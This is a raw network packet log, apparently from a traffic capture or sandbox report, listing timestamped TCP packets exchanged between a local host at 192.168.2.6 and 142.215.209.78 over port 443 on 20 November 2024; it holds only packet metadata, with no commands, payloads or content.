Nov 20, 2024 20:33:50.156141996 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.156148911 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.156188965 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.160545111 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.160603046 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.160609007 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.163860083 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.163925886 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.163932085 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.167403936 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.167457104 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.167473078 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.171894073 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.171950102 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.171962976 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.175937891 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.176012039 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.176028013 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.179434061 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.179502010 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.179517031 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.182960987 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.183026075 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.183037043 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.187489986 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.187567949 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.187582970 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.190905094 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.190968990 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.190980911 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.194453001 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.194519043 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.194531918 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.198901892 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.198966980 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.198975086 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.250452995 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.320590019 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.320606947 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.320673943 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.320691109 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.324517012 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.324525118 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.324583054 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.324590921 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.327657938 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.327666044 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.327763081 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.327769041 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.331034899 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.331067085 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.331087112 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.331091881 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.331140041 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.335040092 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.335052967 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.335112095 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.335119009 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.335182905 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.338284016 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.338349104 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.338354111 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.341464996 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.341525078 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.341531038 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.345534086 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.345602989 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.345608950 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.348822117 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.348885059 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.348896027 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.351986885 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.352046013 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.352051973 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.355532885 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.355603933 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.355609894 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.359700918 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.359791040 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.359797955 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.363217115 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.363281965 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.363291025 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.366137028 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.366199970 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.366208076 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.370182037 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.370248079 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.370256901 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.422322035 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.555979967 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.555994987 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.556045055 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.556058884 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.558698893 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.558717012 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.558758020 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.558767080 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.562952042 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.562971115 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.563029051 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.563040972 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.563076973 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.567011118 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.567024946 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.567081928 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.567089081 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.567125082 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.570019007 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.570101023 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.570110083 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.572598934 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.572671890 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.572680950 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.576478958 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.576544046 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.576555967 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.579658985 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.579716921 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.579727888 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.582886934 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.582951069 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.582961082 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.588119984 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.588188887 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.588198900 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.591310978 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.591372967 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.591382980 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.594420910 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.594490051 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.594496965 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.598083019 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.598186016 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.598198891 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.602077007 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.602154016 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.602163076 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.604959965 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.605019093 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.605027914 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.608640909 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.608697891 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.608712912 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.608741045 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.656687021 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.846635103 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.846647978 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.846709013 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.846720934 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.849843025 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.849869013 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.849910021 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.849914074 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.849935055 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.853136063 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.853146076 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.853197098 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.853203058 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.857151031 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.857223034 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.857228041 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.860311031 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.860373020 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.860378981 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.863481998 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.863539934 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.863545895 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.867898941 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.867976904 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.867985010 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.870897055 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.871020079 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.871051073 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.874103069 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.874175072 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.874186039 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.878268003 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.878334999 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.878341913 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.881474018 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.881544113 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.881551981 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.885035038 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.885098934 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.885107040 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.888294935 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.888359070 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.888372898 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.892431974 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.892537117 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.892545938 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.895543098 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.895613909 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.895622969 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.898840904 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.898940086 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:50.898947954 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:50.953571081 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.135071039 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.135083914 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.135164976 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.135181904 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.137676954 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.137686014 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.137748003 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.137757063 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.141813040 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.141820908 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.141896009 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.141906977 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.144983053 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.145023108 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.145092964 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.145100117 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.145144939 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.148117065 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.148124933 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.148195982 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.148206949 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.148293018 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.152349949 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.152477026 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.152488947 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.155672073 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.155735970 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.155747890 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.159629107 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.159703970 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.159714937 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.162878036 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.162957907 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.162969112 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.166553020 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.166630030 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.166641951 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.169914007 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.169981003 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.169991016 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.173032999 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.173182011 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.173194885 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.176944017 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.177011967 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.177022934 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.180233002 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.180296898 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.180311918 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.184323072 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.184415102 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.184428930 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.187576056 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.187657118 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.187666893 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.234811068 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.339478016 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.339493990 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.339555025 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.339569092 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.343127012 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.343141079 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.343187094 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.343194962 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.346246004 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.346278906 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.346309900 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.346316099 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.346354961 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.349535942 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.349601030 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.349606991 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.353562117 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.353621006 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.353632927 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.357167959 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.357224941 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.357233047 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.359993935 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.360055923 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.360064983 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.364077091 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.364140034 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.364146948 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.367288113 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.367347956 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.367357016 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.370383024 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.370440960 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.370448112 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.374572992 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.374639988 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.374648094 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.377852917 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.377924919 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.377933025 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.381907940 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.381993055 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.382000923 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.384989023 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.385056019 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.385061979 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.388341904 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.388417006 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.388430119 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.391973019 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.392096996 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.392105103 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.438036919 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.549927950 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.549942970 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.550076962 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.550106049 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.553241968 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.553257942 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.553353071 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.553369999 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.556647062 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.556683064 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.556736946 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.556751966 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.556761026 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.560656071 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.560722113 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.560736895 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.563940048 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.564002991 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.564012051 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.566992998 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.567059994 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.567070961 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.571074009 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.571154118 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.571165085 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.574350119 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.574424982 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.574431896 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.577512026 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.577570915 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.577579975 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.581561089 CET	443	49734	142.215.209.78	192.168.2.6
